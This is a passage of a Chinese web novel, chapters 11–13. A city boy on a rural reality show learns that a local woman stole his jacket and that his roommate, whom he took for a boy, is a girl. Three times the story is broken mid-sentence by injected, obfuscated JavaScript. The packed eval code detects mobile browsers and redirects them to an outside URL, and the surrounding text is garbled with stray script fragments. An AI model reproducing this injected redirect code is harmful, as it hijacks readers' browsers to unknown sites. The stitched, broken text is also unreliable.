“当然,我记在脑子里,等我长大了,考上大学了,我就去找她,看看她过得好不好。” 又聊了一会儿,他们同时打了个哈欠,看着对方略显疲倦的脸,祝婴宁提议道:“我们回去了吧?摄影师应该已经睡下了。” 许思睿无可无不可:“你带路。” 他们摸黑沿着原路返回。 惴惴不安回到村里,好在没有出现上次那样全剧组发动,漫山遍野寻人的情况,大概夜半袭击的摄影师也知道自己理亏。 他们先后踏进屋里,祝婴宁作势要往炕上爬,回头一看,却见许思睿站在衣箱前,从里面翻出一条干净的睡裤,然后当着她的面就把身上的裤子脱了。 “!!!” 月光堪堪映照出许思睿又白又长又直的两条腿,以及…… 她惊得目瞪口呆,迅速把头扭回来,将脸捂进被子里,心脏砰砰直跳。 过了一会儿,身边的床褥传来下压的重量,她才涨红脸颊,结结巴巴开口,用气音说:“你、你、你为什么要当着我的面脱裤子……?” 这句话的重点本该是“当着我的面”,但许思睿解读失败,把重点放在了脱裤子上,理所当然应道:“废话,我们刚刚坐在山洞里,裤子都脏了,当然要换一下,倒是你,你怎么裤子都没换就躺床上了?喂,祝婴宁,你别这么邋遢,赶紧起来把裤子换了。”一边说一边作势要去拉她的裤头。 祝婴宁吓得魂飞魄散,死死拽住自己的裤头,另一只手毫不客气地打开他的手。 啪。 一声脆响。 许思睿捂住手背,被她打懵了,低声骂了一声:“靠,你有病啊?” 好在他没有执着于扒她裤头,骂骂咧咧一会就躺下了,三令五申严明禁止:“你不换裤子就离我远点,真埋汰。” 祝婴宁没说话。 等大家都躺下了,盖上被子打算睡觉了,她才用一种让许思睿很不舒服的语气轻声发问:“你们城里人都……都这样吗?” “哈?” “就是……你们、你们的风气都这么不淳朴吗?” 许思睿不知道睡前换条干净裤子怎么就能扯到风气不淳朴了,没好气地凶道:“你们就很淳朴?拐卖妇女?逼人结婚?如果这是淳朴,那我们城里确实很不淳朴。” 祝婴宁没料到他会这么说,像被噎住了,过了好半天,才叹了口气,低声回答:“……你说得对。” 顿了顿,她又说,“但是……但是我觉得人是复杂的,每一个地方都有好人和坏人,甚至同一个人,身上也可能同时存在好的一面和坏的一面。村里有些人和事,我也很痛恨,可我们这也是有很多好人的,总的来说,我们这大多数人都是淳朴的,肯定比你们城市里淳朴,只要你愿意认真和他们相处……” “停。”许思睿打断她,“你唐僧啊?叭叭叭念什么经呢。” “……” “你别以为今晚帮了我就能对我说教了,我告诉你,我就是讨厌你们这,不管你说再多,讨厌就是讨厌,我讨厌你们所有人,你给我滚远点!” “……” 11. 民风淳朴吗 周四早上,许思睿倒是在上学时间前起来了,也吃了早餐,但他依然死活不肯去学校。 杨吉唾沫横飞劝了一番,见劝慰无果,只好又去找祝婴宁。 然而这回祝婴宁拒绝了他:“不要。” “为什么?” “他说他讨厌我。” 杨吉只好竭尽所能替许思睿寻找借口:“呵呵,你也知道他就这个性子,除了网络游戏,他哪有喜欢的东西啊?就是他爸妈站他面前都得挨他两顿喷,他说讨厌你,不一定是真的讨厌你,可能就是单纯嘴贱……” 话还没说完,屋子里忽然传来许思睿响亮的叫声:“祝婴宁——喂!祝婴宁——!” 杨吉喜道:“你瞧,他现在不就叫你了,我就说你们两个同龄,更容易相处嘛。” 祝婴宁抱着怀疑态度走进去,才一进屋就看到许王子双手抱胸靠坐在书桌上,表情山雨欲来。见了她,他立刻把脸拉得驴长,指着自己的衣物箱,一字一顿道:“我、羽、绒、服、被、人、偷、了。” “什么?” 祝婴宁一头雾水走过去,往箱子里一看,放在里面的羽绒服果然不翼而飞。前两天他一直赖在床上不肯上学,当然也没机会穿羽绒服,她看他的衣服丢在书桌上平白占地方,影响她写作业,索性就团吧团吧直接塞他箱里了。 “你没有拿出来穿过吗?会不会是放在哪里你给忘了?”她问。 许思睿当即吹胡子瞪眼:“我拿出来穿?你搞笑啊!穿没穿过我自己能不清楚吗?倒是你,是不是你给拿走了?” “我没有!我前两天就给你放箱子里了。” 他这句话的潜台词就仿佛羽绒服是她偷的一样,祝婴宁也急了,“我为什么要偷你羽绒服?!” “我说是你偷的了吗,你急什么,你做贼心虚啊?” “许思睿!”她气坏了。 杨吉一踏进来就看到这俩人剑拔弩张一触即发,祝婴宁单手拧住许思睿的衣领,许思睿掐着她的手腕,两人横眉冷对,大眼瞪小眼,简直跟要打起来似的。他吓了一跳,赶忙先去拦许思睿:“欸欸欸,过了啊!跟别人动手就算了,连婴宁也动手,你还是不是男人了?” “?” 许思睿火冒三丈,不明白这为什么能扯到他是不是男人,难道就因为祝婴宁长得矮小,他就非得让着她吗? 摄影师也见缝插针劝道:“先在屋里找找吧,现在就下结论说被偷还太早了,说不定被谁随手放哪儿了呢?” 祝婴宁也觉得有道理,而且她急于证明自己的清白,遂松开许思睿的领子,转身跟随工作人员翻找起来。 大家都在忙活,只有许思睿翘着二郎腿坐在椅子上,跟个监工似的,时不时还冒出一句盛气凌人的“好好找啊,别眼瞎”。祝婴宁一抬头看到他就感觉肚子里全是火,恨不得上前掐住他脖子给他两拳。 然而一行人把屋子翻了个底朝天,也没找出他的羽绒服。 问刘桂芳是不是拿去洗了,她连连摆手:“我怎么敢随便拿去洗,洗坏了怎么办?” 问奶奶,奶奶只会傻笑,问不出所以然。 问剧组,剧组的人也都说没看见。 毫无疑问,羽绒服不见了,它总不能是自己长翅膀飞了,所有证据都直指失窃。 “民风淳朴?” 许思睿歪靠在墙壁上,鼻腔里挤出一声嘲弄的哼笑,好整以暇地看着祝婴宁。 她脸上一阵红一阵白一阵绿,精彩得堪比开染坊,最后那些颜色通通定格为羞耻的艳红。她垂下脖颈,咬着下唇,好半天才憋出一句:“我会帮你找回来,证明它不是被人偷的……我一定会把羽绒服找回来的!” “是吗?”许思睿冷笑了一声,不置可否。 ** 许思睿没再玩绝食,他已经深刻认识到自己承受不了绝食的苦。但他也不想去学校上课,不想去一个教学水平如此堪忧的地方看一群好学生争相举手回答问题,听一群水平远不如他的老师传授一些小学生都懂的知识。目送祝婴宁背着书包去上学以后,他开启了他独处的一天,或者说,有史以来最无聊的一天。 回家是暂时回不去了,打电话给父母求饶也没用,在想出新的离开的方法前,他打算先待在村里消磨时间。前两天绝食时,身体为了自保,自动延长了睡眠时长,白天他几乎都在睡觉,可现在吃饱了饭,精神抖擞,睡也睡不着,他只能起来给自己找点乐子。 山里娱乐项目稀少,基本没有乐子可找,为数不多的娱乐活动几乎都要和人或者动物打交道,他既讨厌和山里人打交道,也对这里的家禽深恶痛绝,无所事事晃悠了一上午,最后什么乐子都没找到,无聊得快要发霉了。 吃过午饭,他不得不趴在炕上打盹,强迫自己睡会儿觉,以此对抗无聊。摄影师见没有什么可录的内容,干脆也去休息了。 一直断断续续睡到下午四点,许思睿才从床上爬起来。 头脑因为过度睡眠变得又晕又沉又热,每动一下,里头都仿佛有水在晃荡,还是沉积了许多淤泥的脏水。他撑着太阳穴,头重脚轻走出屋子,像个游手好闲的流浪汉一样,在村子里漫无目的地瞎走瞎逛。 走到村口,他听到其中一户人家敞开的大门里传出了刘桂芳的声音,往里一瞟,果然瞧见刘桂芳坐在那家人的藤椅上,正和里头的人说话。 村里的生活简朴且枯燥,走街串巷是重要的社交,更何况同村人多多少少沾点血缘关系,七大姑八大姨扎堆住,大家互相串门联络亲戚感情也是常有的事。许思睿没多想,晃着脚步就要离开。谁知还没迈开几步,就听里头的刘桂芳压低嗓门说:“那萍姐,羽绒服就拜托你帮我收着了。” 羽绒服? 许思睿怔了怔,脚步像被胶水粘住,生生扯在原地。 那个被刘桂芳称为萍姐的人嘿嘿笑道:“好说,好说!我肯定给你藏得好好的。” 他僵在门外,目光瞥进去,恰好看到平常在他面前唯唯诺诺的刘桂芳搓着双手,依然是那副恭检谦卑的模样,腼腆且不好意思地笑道:“其实吧,萍姐……其实我这心里也怪没底的,觉得自己做得不道德……但是你是知道我的,我们家那口子在外头辛苦工作一年,也挣不回几个钢镚,我们家吉祥长这么大,别说羽绒服了,连棉袄都是捡同村人穿剩下的穿,你说我这当妈的,我能不心疼自己的孩子吗?我也是为了孩子着想,这才鬼迷了心窍……” 萍姐便劝:“哎哟——芳儿,你就是太心善了!要我说,那小孩一看就是有钱的,家里肯定不缺吃不缺穿,你拿他一件衣服怎么了?又不是啥大事!说得这么严重干嘛?他要是连这都介意,那才是没教养呢。” 刘桂芳便吁了口气,不知是被对方说动了,还是在安慰自己:“也是,也是……” 后面的对话,许思睿没再听下去,他径直转身走开了。 蜿蜒的沙石小路如同蛇腹,弯弯曲曲指向一重又一重高山。他沿着路的尽头呆呆地走,却始终走不出这深山,反而如鬼打墙一般,走着走着又绕回了原地。 下午四点,天光大亮,太阳站在山峦之巅,阳光滚烫地晒在他身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543184|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明该是一天中最好的时节,他却感到一股黏糊糊的恶心,像好端端走在路上忽然踩到了别人吐出来的口香糖。被人咀嚼过的口香糖黏在他鞋底,甩也甩不掉,磨也磨不烂,日久天长,被马路上的沙尘侵蚀成污浊的黑。 恶心透顶。 ** “阿妈,我回来了——” 祝婴宁回到家已经快七点了,她放下书包,撸起衣袖,先去后头厨房帮忙,将炉灶里的汤和饭菜盛出来,端到屋里的餐桌上,随后把汤泡进其中一碗饭里,拿勺子捣软了,端去炕上,连哄带骗开始喂奶奶吃饭。 这是她每日放学的固定流程。 老太太年岁大了,吃饭洗澡都离不开人,虽然明面上说是由刘桂芳照顾,但她心疼自己妈妈劳累,总是能帮就帮。 喂完晚饭,祝婴宁又熟练地去厨房打了桶热水,把屋子中间的帘布放下来,开始给老太太擦身。 不擦不行,老太太嘴漏,吃饭总是吃得满身都是饭渣,垫围兜也没用。偏偏她虽然老糊涂了,却仍凭本能讲究卫生,不立刻给她擦干净,她就要大声哭闹,扰得全家都不得安宁。 一套流程走下来,祝婴宁才有闲工夫坐下来吃饭。 留给她的饭菜已经冷得差不多了,她端起饭碗,三两口扒拉进一大半。 吃着吃着,身上的汗毛根根竖起来,她敏锐地察觉到了一道落在自己身上的火热的视线,抬头一看,只见许思睿坐在书桌上,单手托着下颌,一言不发盯着她瞧,眼神沉沉,意味不明。 她被他看得有些不自在,挪了挪屁股,问:“有事吗?” 他没有马上答话,反而又盯着她瞧了一会,才将头撇过去,说:“没有。” “?” 莫名其妙。 祝婴宁皱皱眉,见他什么都不说,只好在心里独自犯犯嘀咕,把饭碗里的饭菜吃完了,随口交代他:“厨房里烧了一盆新的热水,你先拿去洗澡吧,不然待会放凉了又得重新烧。” 放在平时,许思睿绝对会呛她一句:“你敢安排我?” 但今天这人也不知道是不是吃错了药,不仅没有反驳,还乖乖哦了一声,转身就往厨房去了。 “……” 祝婴宁纳闷地盯着他的背影。 她打算趁着许思睿洗澡,先去屋后把柴火劈了,然后再抓紧时间回屋里写作业。只是柴火才刚架起来,就听到旁边的铁棚里传来许思睿的声音:“祝婴宁,你在外面吗?我忘拿睡衣了。” 她用手臂抹了抹额头上的汗:“你找别人帮你,我在砍柴。” “这除了你还有谁能帮忙?就拿件睡衣而已,赶紧的!”许思睿的声音立马变得不耐烦起来。 她瞪了铁棚一眼,扭头想帮他喊人,结果他未卜先知地喝道:“你敢?快点去帮我拿衣服!” “……” 无奈,祝婴宁只好握着砍刀,怒气冲冲且毫无威慑力地朝着铁棚的方向砍了会空气,这才放下手头工作,不高兴地回屋子帮他找睡衣。 许思睿的睡衣材质,祝婴宁说不出来是什么,但她凭感觉也能感觉出这些衣服很贵。随便找出一件,她怕手上粗硬的茧子划破衣服,只好用手肘夹着,来到铁棚外,敲了敲门,对他说:“你开门拿还是我从上面丢进去?” “别丢。”他赶紧制止。 祝婴宁便站在外面等他开门。 她原本以为许思睿会把门打开一道缝,从缝里接过衣服,结果,在她反应过来之前,铁棚的门竟然哗的一下整个儿敞开了,许思睿伸出手,一把将她拽了进去。 12. 真相 刘桂芳拿了羽绒服已经是板上钉钉的事儿,许思睿膈应了一天,感觉自己已经不认识这个世界了。他不由怀疑祝婴宁也知道这件事,早上装傻充愣只是为了掩护自己的母亲,毕竟——连看似唯唯诺诺的刘桂芳都能理所当然偷别人东西,祝婴宁藏着歪心思似乎同样说得过去。 他想找机会和她单独聊聊,探探她的口风,看她对这件事是否知情。但屋子里人来人往,刘桂芳也在场,他好不容易才趁着洗澡逮到一个单独和她谈话的时机,因此没想什么就把人拽进来了。 然而,事情的发展和他想象的不太一样。 或者应该说,完全不一样。 因为祝婴宁竟然尖叫了一声,活像个被冒犯的小姑娘,捂着眼睛,迅速背过身去,将自己缩到了角落里,连看都不敢看他。 “……你在干嘛?”他感到匪夷所思。 她颤抖了很久才从牙缝里挤出磕磕巴巴的应答:“我才想问你在干嘛!?你、你为什么……为什么不穿衣服……?” 他奇道:“什么鬼,你见过谁洗澡穿衣服的?” “可是……可是……” “可是什么啊,你莫名其妙犯什么病?”许思睿皱起眉,掰住她的肩膀,想把她掰过来,“先别管这些了,我有话想问你,你不是说要帮我找羽绒服吗,找得怎么样,有头绪了没?” 祝婴宁的肩膀就像钢筋似的,他掰了一下,竟然没掰过来,不信邪地又掰了一下,她猛一甩肩,直接将他的手甩开了。 许思睿纳闷地干站在原地等了一会儿,想等她就他的问题说些什么,结果等了半天,她既不回头看他,也不开口说话,只是缩头乌龟般一味埋头装死。 他的耐心条很快见了底:“你倒是说话啊?你再不说我就当你心虚了?” 威胁落地,她仍旧毫无反应。 许思睿啧了一声:“这样我可真当你心虚了啊?别说我没给你辩解的机会。” 又等了一会儿,这人仿佛一尊石像,直接在原地生根了。 “……操。” 许思睿有点光火,上前一步,想要动用蛮力强行将她扭过来,但几乎是在他上前的那一秒,她就颤了一下,用尽全身力气把自己使劲贴在铁棚上,用发颤的嗓音大声制止道:“……你别过来!” 许思睿便愣了一下。 这句“你别过来”从语气到音色都太像女孩了,像到一个可怕的猜想不得不在他心里慢慢成型。他低下头,看到祝婴宁缩着肩膀,捂着嘴唇,露在手掌外的一双眼睛瞳孔剧烈震颤,黑与白摇晃成被墨水泅染的清池,烟波浩渺,惊涛骇浪。 视线再往下,是她的耳根。 山里日照充足,生活在这里的人皮肤普遍呈浅麦色,她也不例外。但也许是耳根这个位置难被阳光直射,她身上这寸皮肤的颜色明显比周围白了一个度。因为白,所以泛红的时候也格外明显。那点红从她耳根处晕染出去,如同鲜艳的血,以肉眼可见的速度泼红了周围的肌肤。 脸颊、脖颈、锁骨…… 她整个人红得像熟透的鲜虾。 许思睿感觉自己整个脑门都嗡了一声,仿佛一口钟在他脑海里敲响,震得里头脑浆稀碎。 他想一定是有哪里搞错了,一定是有谁在跟他开玩笑,怎么可能,怎么可能……? 妄想再负隅顽抗,同真相搏斗一下,他抬手捏起她的下巴,眯眼仔细打量她的脸,结果越看心越凉。 虽然不算漂亮,不够精致,但从骨相到皮相,千真万确都是女孩。 老天,他到底为什么会觉得她是男的?! 他以为声音清脆是还没变声,身材瘦小是基因和伙食问题。现在仔细想想,难怪有些时候她和周围人的反应都那么怪,他居然让一个女孩背着他走山路,和她同床共枕一个星期,当着她的面换裤子,现在还直接把人拽进了浴室。 ……不能再回忆了。他吓得赶紧甩开手。 真相带来的冲击让他再也顾不上什么羽绒服,许思睿朝后踉跄两步,眼前一黑,差点就地晕死过去。 但还不能晕。 意识到自己现在仍□□,他手忙脚乱抢过祝婴宁怀里的睡衣,往自己□□一遮,嘴唇抖了半天,才哆哆嗦嗦抖出一句话:“……你出去。” 祝婴宁不敢动,她听到了他穿衣服的动静,但不确定他穿到了什么程度,生怕一个转身又是视觉暴击。 两人僵持了好半天,最后还是许思睿先开口,声音里竟然夹了几分哭腔:“……你出去,出去!” 祝婴宁惊呆了,她不知道他在哭什么,好像该哭的是她吧?但她心里乱成一团,没办法再细究真相,只好胡乱应道:“好好好,我出去,我出去。”然后学着螃蟹步,横向朝门口移动。 好不容易碰到铁门,身后许思睿忽然又拽住了她的手。她大受惊吓,脱口而出:“你又要干嘛?许思睿你变态啊!” “卧槽,我不是变态!”许思睿感觉自己跳进黄河也洗不清了,他连忙像被烫到似的松开手,语无伦次解释道,“我拉住你是因为想跟你解释一下……我是想说……靠!我不知道你是女的!我之前一直以为你……” 他解释的时候祝婴宁已经手忙脚乱拉开了铁门,也不知道有没有听到他的话,砰的一下就把门甩上了,溜得比被老鹰追杀的兔子还快。 ** 许思睿短暂的十四年人生由此添上了浓墨重彩的一笔,他完全不知道这个澡自己是怎么洗的,像在清洗一只待宰的猪,机械地把自己搓完擦干,出门时甚至被门槛绊了一跤。 杨吉等人正在屋后搭起的雨棚下聊天打屁,正聊得高兴,就见许思睿狂奔过来,疯疯癫癫地问:“这几天的录像存在哪?还在你们这吗?!” “什么?” “我问你们这几天的录像存哪儿了,存储卡还是硬盘?给我!快给我!”一边说一边低头要去抢剧组的摄像机。 大家都被他弄晕了,摄像师本能地护住相机,杨吉则拦住他,问:“你发什么疯?这一期的录像已经存在硬盘里送去剪辑了。” “你说什么!?” 许思睿大吼一声,声音之大,震得杨吉的耳膜一阵刺疼。他龇牙咧嘴捂住耳朵,气得忍不住去拧许思睿胳膊:“你到底在发什么疯?” 寻常许思睿肯定已经暴走了,但他现在就像小孩子被吓掉了魂一样,呆傻呆傻的,被人掐了也毫无反应。 杨吉有点担心了,伸手探了下他的额头:“发烧了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543185|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你还能把硬盘追回么?”他魂不守舍地问。 “开玩笑,都寄到省会去了,你想我怎么追回?” “……” 许思睿就不说话了,怔在原地,眼神放空,足足过了两分钟,才猛一激灵,如神魂附体,蹲到摄像机前,表情复杂地说:“我要澄清一件事。” 大家面面相觑。 他对着摄像机镜头郑重其事地说:“我刚刚才知道祝婴宁是女的。你们录下来了么?录清楚了,一定给我录清楚了!一定要把我这句话剪进下期节目里!知道不?” 他说完,大家都诡异地安静了。 难以言喻的沉默流淌在众人之间。 五秒后,笑声哄然爆发开。 许思睿没料到他们是这反应,被他们笑得脸都红了,梗着脖子怒视众人,声音显得有些底气不足:“笑屁啊笑?” 杨吉笑得眼泪都出来了,捂着肚子,用指甲盖抹了抹眼尾:“不是,我的天爷!你怎么会以为她是男的?” “她剪个那么短的头发,谁能猜到她是女的?!”许思睿立刻开始推卸责任,不过说到这,他的好奇心倒是被勾起来了,“她一个女生,干嘛剃个寸头?” 杨吉耸耸肩:“你自己去问她咯。” “……我现在都不知道怎么跟她说话。”他有些不自在地摸了摸脖子。 结果这句话不知怎么又戳到了众人的笑点,原本已经平息不少的笑声再次如涨潮一般涌了上来。 这帮人笑就算了,还一边笑一边挤眉弄眼,互相交换着心照不宣的眼神。许思睿毕竟还是个小孩,抵挡不住这些老油条猥琐的调侃,被他们笑得恼羞成怒,骂了几声,喝止了几句,发现没人听他的话,只好泄愤般踹了脚雨棚的支柱,起身逃也似的离开了。 ** 许思睿说他不知道该怎么跟祝婴宁说话,这句话没骗人。别提说话了,他现在甚至连看到她都觉得尴尬。在屋外吹了半天西北风,吹到天都黑了,村里的灯一盏盏熄灭,刘桂芳出来劝他睡觉,他才迫不得已回到屋里。 然而一看到那个炕,他整个人又不好了。 知道她是女生后,许思睿实在无法接受再和她睡在一起,但他同样无法接受挨着刘桂芳或老太太睡。 天人交战片刻,他回身从衣物箱里翻出一沓衣服,卷吧卷吧卷成长条,塞到他和祝婴宁的床位中间。 祝婴宁同样很尴尬,她强迫自己不去回想,可是一闭上眼睛就是铁棚里那一幕。不过再尴尬,也敌不过身边凭空砌起一座衣服山带来的冲击,她从被子里露出一双眼睛,闷声问他:“你干嘛?” “三八线。”他指着那座衣服山,强撑着气场,凶巴巴道,“不许越过来,听到没有!” 祝婴宁无语了:“你讲不讲理?我睡觉很规矩的好不?平时都是你把手搭在我……” “够了!别说了。”许思睿用气音喝止她,一张俊脸瞬间血气上涌,在月光下红得像只灯笼,“你知不知羞的祝婴宁?” 她还想再分辩几句,但一看他火红火红的脸,不知怎么回事,那份热度就像会传染的病毒似的,莫名从他脸上传到了她脸上。她咬咬牙,将被子拉高,转身背对着他,不再说话了。 13. 寸头女孩 早上起来,三八线竟屹立不倒,祝婴宁有些吃惊,还以为许思睿真转性了,竟然能控制自己的睡姿,结果一看他眼底下两个巨大的黑眼圈,就知道这人压根不是改良了睡姿,而是一晚没睡。 她深感无语,懒得搭理他,照例先把自己该干的农活给干完了,吃了早餐,往自己书包里塞上今日份的午间干粮,打算出门上学。 走了几步,身后却响起了纷杂的脚步声。 她独自一人上学时剧组不会派人跟着她,毕竟他们的拍摄对象是许思睿,她只是附带的。因此一听这动静,她就知道准是许思睿跟过来了,只有他跟过来,剧组才会倾巢出动。 回头一看,果不其然。 许思睿站在她身后,和她拉开七八米的距离,表情很是不自在,显然昨晚一整晚的失眠没能让他忘掉尴尬,反而将尴尬发酵得更浓烈了。他说:“你别误会啊,我不是喜欢上学,只是待在你们家里实在太无聊了。” 她便“哦”了一声,转过身体继续往前走。 许思睿跟在她身后,和她保持着一段不远不近的距离。 一路沉默地走到学校,她放下书包,收拾了一下课本,走上讲台开启日常领读。 恰好班主任陈斌也来了,先是向她交代了今日早读的内容,随后手握戒尺,在教室里踱步巡视,提醒晚来的学生们拿出课本。 走到后排,看到祝吉祥座位上无所事事转着笔玩的许思睿,他脸上一喜,主动走过去搭话道:“许思睿,你终于来上学了!” 许思睿不知道该怎么应,便只点了点头。 陈斌的教学热情却没有因为他冷淡的反应消退,反而拍了拍他的肩膀,说:“你跟我来趟办公室。” ……又来? 许思睿不知道这人哪来这么多循循善诱的耐心,不过他现在闲着也是闲着,想了想,还是起身跟了上去。 同上次一样,陈斌依然弯腰在抽屉里来回翻找,找出上次没能成功交给他的本子和铅笔,递到他面前,执着地说:“来,你先拿去用。” “……” 许思睿嘴角抽了抽,怀疑自己要是再不接受,这人能锲而不舍邀请他三顾茅庐,于是只好腾出一只手接过来。 陈斌拿指关节顶了顶下滑的眼镜,露出一个欣慰的笑:“这就对了嘛!学生来上学,怎么能没有纸笔呢?纸笔对学生来说,就像将士的兵器,上场打战可不能没有兵器啊。”言毕又将话题一转,关切地问,“你觉得我们班怎么样?和同学们还处得来吗?” “不知道,不熟。”他冷淡地回答。 “不熟啊?不熟……”陈斌“嘶”了一声,沉吟道,“也是,你和同学们还没有机会熟悉起来……这样吧,许思睿,老师给你创造一个机会,将一个光荣而艰巨的任务交给你,怎么样?” 他心里顿时警铃大作,想也不想就拒绝了:“不要。” 陈斌却置若罔闻,自顾自笑道:“先别急着拒绝,你听老师说。我们学校原本有两个升旗手,但其中一个家里出了事,不得不暂时休学回家料理家事,也因为这个,我们学校已经三周没有升过旗了。本来想找其他学生顶替一下,可惜大家的身高都不符合,都不够高。你瞧,你这不就来得正好?老师想将下周一升旗这个光荣而艰巨的任务交给你,希望能借此机会改变你在同学们心目中的形象,帮助你尽快适应校园生活……欸许思睿!你去哪?” 他说话的时候许思睿已经夹着纸笔自顾自走出了办公室,陈斌惊呆了,他执教多年,见过顶撞老师的学生,见过寻衅滋事的学生,但像许思睿这种听人说话听一半转身就走的学生,还是头一回见识。 而许思睿一旦打定主意不想继续听,就死也不会再继续听,任凭别人说破嘴皮也没用。陈斌追出去,本来想再劝说几句,但嘴唇还没张开,他已经走回教室,一屁股坐在座位上,翻开课本作势要早读了。 ** 早读结束,学生们有短暂的五分钟休息时间。许思睿把课本一合,掩着嘴巴打了个绵长的哈欠。 坐在他旁边的小胖墩轻声说:“我还以为你不来上课了。” 他张着嘴巴斜了他一眼,没说话。 ** 上午的课上下来,许思睿不是在睡觉就是在发呆。第一天上课的新鲜感早就已经被冲淡了,现在即使老师讲授的内容再错漏百出,也丝毫激不起他的兴趣,他只觉得困。 好不容易撑到中午放学,大家就地解散,各自呼朋引伴找地方吃午饭。他往桌肚下一摸,想摸出点吃的,直到摸出一叠书籍,才想起自己今早出门匆忙,只带了个人过来,压根没带午餐。 ……算了。 来到这以后,挨饿已经成了常态,放在以前,饿的时候没饭吃,他肯定要瞎嚷嚷,现在却已经能平静地接受一顿不吃的事实。 正打算趴在桌子上睡一会儿,后背就被人戳了戳。 许思睿回过头,还没见着戳他的人,眼前先多出一块饼。 不对,是半块饼。 祝婴宁拿纸巾包着她掰出来的半块饼,朝他努了努嘴,示意他拿去吃。 要是不知道她是女生,他八成就接受了,可知道她是女生后,许思睿怎么看那半块饼怎么觉得别扭,把脸朝反方向一撇,生硬地拒绝道:“不需要。” 祝婴宁撇撇嘴,将手收回来,不再坚持了。 他趴在课桌上睡觉。 午休时间有两小时,许思睿昏昏沉沉睡了一个多小时,临近上课的时候,越来越多学生返回教室,他才被说话声吵醒,顶着一张又困又睡眠不足的脸怨气冲天地坐起来。 正四处发散着咒灵般的怨气,身旁忽然多出一条长条状东西,许思睿斜过视线,发现同桌小胖墩递来了一包苏打饼干。 “我看你中午没吃饭,这饼干我吃不下了,你拿去吃吗?”他问。 这回许思睿总算略有动容,伸手接过来,说:“谢了。” “客气。” 话匣打开,小胖墩开始主动套近乎:“欸,我听他们说你是北京人,这是真的吗?” “嗯。”他撕开苏打饼干的包装,漫不经心点了点头。 “哇噻!那你一定看过长城、天坛和故宫了?” “算是吧,小学春游的时候去过。” “春游?”小胖墩露出夸张的表情,夸张里还夹着几分向往,和一种莫名其妙的崇拜,就好像春游是一件多么了不起的事,“你们学校居然有春游?!那不是电视上才有的吗?” “……” 许思睿觉得这话题很尬,但是看在饼干的份上,他还是保持耐心,勉强点了点头。怕这位新同桌又抛出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543186|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些让他难以回答的问题,咽下嘴里的饼干后,他赶紧抢先找话题道:“对了……”余光朝桌后扫了扫,发现祝婴宁不在后,他问出了一个困扰他一整晚的问题,“你知道你们班长是女的吗?” “啊?”小胖被他古怪的问题问得摸不着头脑,“当然啊,不然她还能是男的吗?” “你们就没人觉得她的发型……”他顿了顿,在脑海中搜寻贴切的表达,“很新潮?” 小胖这才恍然哦了一声:“你是想说她发型不像女的吧?其实还好啦,她这样是有原因的。” “什么原因?” 为情所困?标新立异?家里重男轻女把她当男孩养?还是单纯图寸头洗头方便?许思睿暗自猜想时,小胖墩已经伸出食指,指向了坐在第四组第三排的一个女生,对他说:“你看她。” 顺着他的手指看过去,许思睿吃了一惊:“操,你们这里有女生留寸头的习俗?” 除了祝婴宁,班里竟然还有一个发型光秃秃的女生。 小胖墩嘿嘿笑了两声:“不是啦,这女生叫周丽,和我同村,她家比较穷,卫生条件一般,前段时间家里闹虱子了。” “……虱什么?!” 许思睿大惊失色,身上瞬间起了层鸡皮疙瘩,下意识将身体朝远离周丽的方向偏了偏——尽管他们本就隔了十万八千里远。 “虱子,她家闹虱子了。她原本是长发,头发又厚又多那种,闹了虱子以后,她家里人不顾她的意愿,趁她睡着把她留得辛辛苦苦的头发全剪了,说是要给她除虱。周丽醒来后特崩溃,我家和她家隔了两条巷,都能听到她的哭声。她爸嫌她哭得吵,把她打了一顿,但她还是哭,而且死活不肯来上学,连我们班主亲自上门去劝都没用。她爸一怒之下甚至说要给她办辍学。” 许思睿露出嫌弃的表情:“所以祝婴宁被她传染了虱子,才把头发剪了?” “你想哪儿去了?”小胖墩摆摆手,“我们班长没长虱子,她是自愿剪的。” “为什么?”他糊涂了。 “为了让周丽来上学啊。” 许思睿反应了一下才反应过来他话里的意思,不可置信地瞪大眼:“你说她为了让这个什么周丽有勇气来上学,把自己头发给剪了?就为了让周丽觉得自己有伴?” “对啊。”小胖墩理所当然地点点头,“效果立竿见影,你瞧,周丽这不就来上学了嘛。” “……她有病吧?” 这件事完全超出了许思睿的理解范畴,换位思考一下,要是他处在祝婴宁的位置,他绝对没法像她一样,为了一个同班同学做到这种地步。对许思睿来说,发型代表颜值,颜值就是一切,他宁愿死也不愿意牺牲颜值。 然而这句吐槽似乎冒犯到了小胖墩,他撅撅嘴,替祝婴宁发声道:“我们班长人很好的,你别这样说她。” “我也没说错啊,人好?我看她是有神经病。” 